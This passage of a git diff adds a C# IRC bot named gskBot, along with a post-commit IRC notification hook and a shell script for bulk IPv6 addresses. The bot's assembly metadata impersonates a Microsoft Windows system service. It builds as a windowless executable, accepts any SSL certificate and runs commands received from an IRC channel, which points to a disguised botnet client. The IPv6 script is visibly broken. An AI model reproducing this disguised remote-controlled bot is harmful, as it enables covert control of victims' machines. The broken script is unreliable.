+                                else Environment.Exit(0);
+                            }
+                        }
+                    } else if (Args[1] == ":Closing Link:") Connected = false;
+                }
+            } else Connected = false;
+        }
+        #endregion
+
+        #region Listen
+        public static void Listen() {
+            while (Connected) {
+                try {
+                    Data = SockRead.ReadLine();
+                    new Thread(() => CommandHandler(Data)).Start();
+                } catch {
+                    break;
+                }
+            }
+            Reconnect();
+        }
+        #endregion
+
+        #region Reconnect
+        public static void Reconnect() {
+            CloseConnections();
+            Thread.Sleep(Config.ReconnectDelay);
+            while (!Function.CheckNetwork()) {
+                Thread.Sleep(10000);
+            }
+            Connect();
+        }
+        #endregion
+
+        #region Raw Message
+        public static void Raw(string Message) {
+            SockWrite.WriteLine(Message);
+        }
+        #endregion
+
+        #region Send Message
+        public static void SendMessage(string Message) {
+            Raw("PRIVMSG " + Config.Channel + " :" + Message);
+        }
+        #endregion
+
+        #region SSL Certificate Validation
+        private static bool OnCertificateValidation(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors)
+        {
+            return true;
+        }
+        #endregion
+
+        #region Quit
+        public static void Quit(string Message) {
+            if (Connected) SockWrite.WriteLine("QUIT " + Message);
+            CloseConnections();
+        }
+        #endregion
+    }
+}
diff --git a/c#/gskBot/gskBot/Properties/AssemblyInfo.cs b/c#/gskBot/gskBot/Properties/AssemblyInfo.cs
@@ -0,0 +1,33 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following 
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("Microsoft Software Protection Platform Service")]
+[assembly: AssemblyDescription("Microsoft Software Protection Platform Service")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("Microsoft Corporation")]
+[assembly: AssemblyProduct("Microsoft® Windows® Operating System")]
+[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible 
+// to COM components.  If you need to access a type in this assembly from 
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("6de825be-64df-4908-b52b-bf300f7a86b0")]
+
+// Version information for an assembly consists of the following four values:
+//
+//      Major Version
+//      Minor Version 
+//      Build Number
+//      Revision
+//
+[assembly: AssemblyVersion("6.3.0.0")]
+[assembly: AssemblyFileVersion("6.3.0.0")]
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.exe b/c#/gskBot/gskBot/bin/Debug/gskBot.exe
Binary files differ.
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.exe.config b/c#/gskBot/gskBot/bin/Debug/gskBot.exe.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<configuration>
+    <startup> 
+        
+    <supportedRuntime version="v2.0.50727"/></startup>
+</configuration>
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.pdb b/c#/gskBot/gskBot/bin/Debug/gskBot.pdb
Binary files differ.
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe
Binary files differ.
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.config b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.config
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<configuration>
+    <startup> 
+        
+    <supportedRuntime version="v2.0.50727"/></startup>
+</configuration>
diff --git a/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.manifest b/c#/gskBot/gskBot/bin/Debug/gskBot.vshost.exe.manifest
@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
+<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
+  <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
+  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
+    <security>
+      <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
+        <requestedExecutionLevel level="asInvoker" uiAccess="false"/>
+      </requestedPrivileges>
+    </security>
+  </trustInfo>
+</assembly>
diff --git a/c#/gskBot/gskBot/gskBot.csproj b/c#/gskBot/gskBot/gskBot.csproj
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{E3BEC248-AB70-4696-B5D1-46C275D8970E}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AppDesignerFolder>Properties</AppDesignerFolder>
+    <RootNamespace>gskBot</RootNamespace>
+    <AssemblyName>gskBot</AssemblyName>
+    <TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
+    <FileAlignment>512</FileAlignment>
+    <IsWebBootstrapper>false</IsWebBootstrapper>
+    <TargetFrameworkProfile />
+    <PublishUrl>publish\</PublishUrl>
+    <Install>true</Install>
+    <InstallFrom>Disk</InstallFrom>
+    <UpdateEnabled>false</UpdateEnabled>
+    <UpdateMode>Foreground</UpdateMode>
+    <UpdateInterval>7</UpdateInterval>
+    <UpdateIntervalUnits>Days</UpdateIntervalUnits>
+    <UpdatePeriodically>false</UpdatePeriodically>
+    <UpdateRequired>false</UpdateRequired>
+    <MapFileExtensions>true</MapFileExtensions>
+    <ApplicationRevision>0</ApplicationRevision>
+    <ApplicationVersion>1.0.0.%2a</ApplicationVersion>
+    <UseApplicationTrust>false</UseApplicationTrust>
+    <BootstrapperEnabled>true</BootstrapperEnabled>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+    <UseVSHostingProcess>false</UseVSHostingProcess>
+    <Prefer32Bit>false</Prefer32Bit>
+    <GenerateSerializationAssemblies>Off</GenerateSerializationAssemblies>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+    <Prefer32Bit>false</Prefer32Bit>
+  </PropertyGroup>
+  <PropertyGroup>
+    <StartupObject>gskBot.Bot</StartupObject>
+  </PropertyGroup>
+  <PropertyGroup>
+    <ApplicationIcon>icon.ico</ApplicationIcon>
+  </PropertyGroup>
+  <ItemGroup>
+    <None Include="App.config" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Config.cs" />
+    <Compile Include="Function.cs" />
+    <Compile Include="Bot.cs" />
+    <Compile Include="IRC.cs" />
+    <Compile Include="Properties\AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+  </ItemGroup>
+  <ItemGroup>
+    <BootstrapperPackage Include=".NETFramework,Version=v4.5">
+      <Visible>False</Visible>
+      <ProductName>Microsoft .NET Framework 4.5 %28x86 and x64%29</ProductName>
+      <Install>true</Install>
+    </BootstrapperPackage>
+    <BootstrapperPackage Include="Microsoft.Net.Client.3.5">
+      <Visible>False</Visible>
+      <ProductName>.NET Framework 3.5 SP1 Client Profile</ProductName>
+      <Install>false</Install>
+    </BootstrapperPackage>
+    <BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
+      <Visible>False</Visible>
+      <ProductName>.NET Framework 3.5 SP1</ProductName>
+      <Install>false</Install>
+    </BootstrapperPackage>
+  </ItemGroup>
+  <ItemGroup>
+    <Content Include="icon.ico" />
+  </ItemGroup>
+  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
+  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
+       Other similar extension points exist, see Microsoft.Common.targets.
+  <Target Name="BeforeBuild">
+  </Target>
+  <Target Name="AfterBuild">
+  </Target>
+  -->
+</Project>
+\ No newline at end of file
diff --git a/c#/gskBot/gskBot/gskBot.csproj.user b/c#/gskBot/gskBot/gskBot.csproj.user
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <PublishUrlHistory>publish\</PublishUrlHistory>
+    <InstallUrlHistory />
+    <SupportUrlHistory />
+    <UpdateUrlHistory />
+    <BootstrapperUrlHistory />
+    <ErrorReportUrlHistory />
+    <FallbackCulture>en-US</FallbackCulture>
+    <VerifyUploadedFiles>false</VerifyUploadedFiles>
+  </PropertyGroup>
+</Project>
+\ No newline at end of file
diff --git a/c#/gskBot/gskBot/icon.ico b/c#/gskBot/gskBot/icon.ico
Binary files differ.
diff --git a/c#/gskBot/gskBot/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/c#/gskBot/gskBot/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
Binary files differ.
diff --git a/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs b/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_036C0B5B-1481-4323-8D20-8F5ADCB23D92.cs
diff --git a/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs b/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_5937a670-0e60-4077-877b-f7221da3dda1.cs
diff --git a/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs b/c#/gskBot/gskBot/obj/Debug/TemporaryGeneratedFile_E7A71F73-0F8D-4B9B-B56E-8E70B10BC5D3.cs
diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.csproj.FileListAbsolute.txt b/c#/gskBot/gskBot/obj/Debug/gskBot.csproj.FileListAbsolute.txt
@@ -0,0 +1,24 @@
+c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.exe.config
+c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
+c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.exe
+c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\bin\Debug\gskBot.pdb
+c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.exe
+c:\users\kayla\documents\visual studio 2013\Projects\gskBot\gskBot\obj\Debug\gskBot.pdb
+C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.exe.config
+C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.exe
+C:\Users\Kayla\Desktop\c#\gskBot\gskBot\bin\Debug\gskBot.pdb
+C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
+C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.exe
+C:\Users\Kayla\Desktop\c#\gskBot\gskBot\obj\Debug\gskBot.pdb
+D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.exe.config
+D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.exe
+D:\dev\c#\gskBot\gskBot\bin\Debug\gskBot.pdb
+D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
+D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.exe
+D:\dev\c#\gskBot\gskBot\obj\Debug\gskBot.pdb
+C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.exe.config
+C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.exe
+C:\Users\john\Desktop\gskBot\gskBot\bin\Debug\gskBot.pdb
+C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.csprojResolveAssemblyReference.cache
+C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.exe
+C:\Users\john\Desktop\gskBot\gskBot\obj\Debug\gskBot.pdb
diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.csprojResolveAssemblyReference.cache b/c#/gskBot/gskBot/obj/Debug/gskBot.csprojResolveAssemblyReference.cache
Binary files differ.
diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.exe b/c#/gskBot/gskBot/obj/Debug/gskBot.exe
Binary files differ.
diff --git a/c#/gskBot/gskBot/obj/Debug/gskBot.pdb b/c#/gskBot/gskBot/obj/Debug/gskBot.pdb
Binary files differ.
diff --git a/irc/post-commit b/irc/post-commit
@@ -3,14 +3,12 @@
 _data=$(git log -1 --graph --pretty=format:"%h|%s|%cn")
 _hash=$(echo "$_data" | cut -d'|' -f1 | cut -c 3-)
 _msg=$(echo "$_data" | cut -d'|' -f2)
-
-echo $GIT_DIR
-_name=$(echo "$_data" | cut -d'|' -f3)
-
+#_name=$(echo "$_data" | cut -d'|' -f3)
+_name=$(basename $(dirname $(git rev-parse --show-toplevel))) # Local hack to parse out ircart/supernets organizations
 _repo=$(basename -s .git $(git config --get remote.origin.url))
 _summary=$(git show $_hash --stat | grep -E "fil(e|es) changed" | awk '{files+=$1; inserted+=$4; deleted+=$6} END {printf "%s|+%s|-%s", files, inserted, deleted }')
 _files=$(echo $_summary | cut -d'|' -f1)
 _inserts=$(echo $_summary | cut -d'|' -f2)
 _deletes=$(echo $_summary | cut -d'|' -f3)
 _ircmsg="irc.supernets.#superbowl *14[11GitHub14] Commit pushed to 08$_name/$_repo (06$_hash) 14[$_files14|03$_inserts14|04$_deletes14] : $_msg"
-#echo "$_ircmsg" | ssh contra tee "$HOME/.weechat/weechat_fifo" > /dev/null
-\ No newline at end of file
+echo "$_ircmsg" | ssh contra tee "$HOME/.weechat/weechat_fifo" > /dev/null
+\ No newline at end of file
diff --git a/v6 b/v6
@@ -0,0 +1,23 @@
+#!/bin/sh
+interface='eth0'
+subnet='2607:5300:201:3000:' random: random: random: random4
+
+v6add() {
+	address=subnet
+	for i in $(seq $2); do
+		ip addr add $address dev $1
+		echo $address
+		echo $address >> v6.output
+	done
+}
+
+v6del() {
+	[ -f v6.output ]
+	address_list=$(cat v6.output)
+	for address in address_list
+		ip addr del $address dev $interface
+	done
+}
+
+v6add
+#v6del
+\ No newline at end of file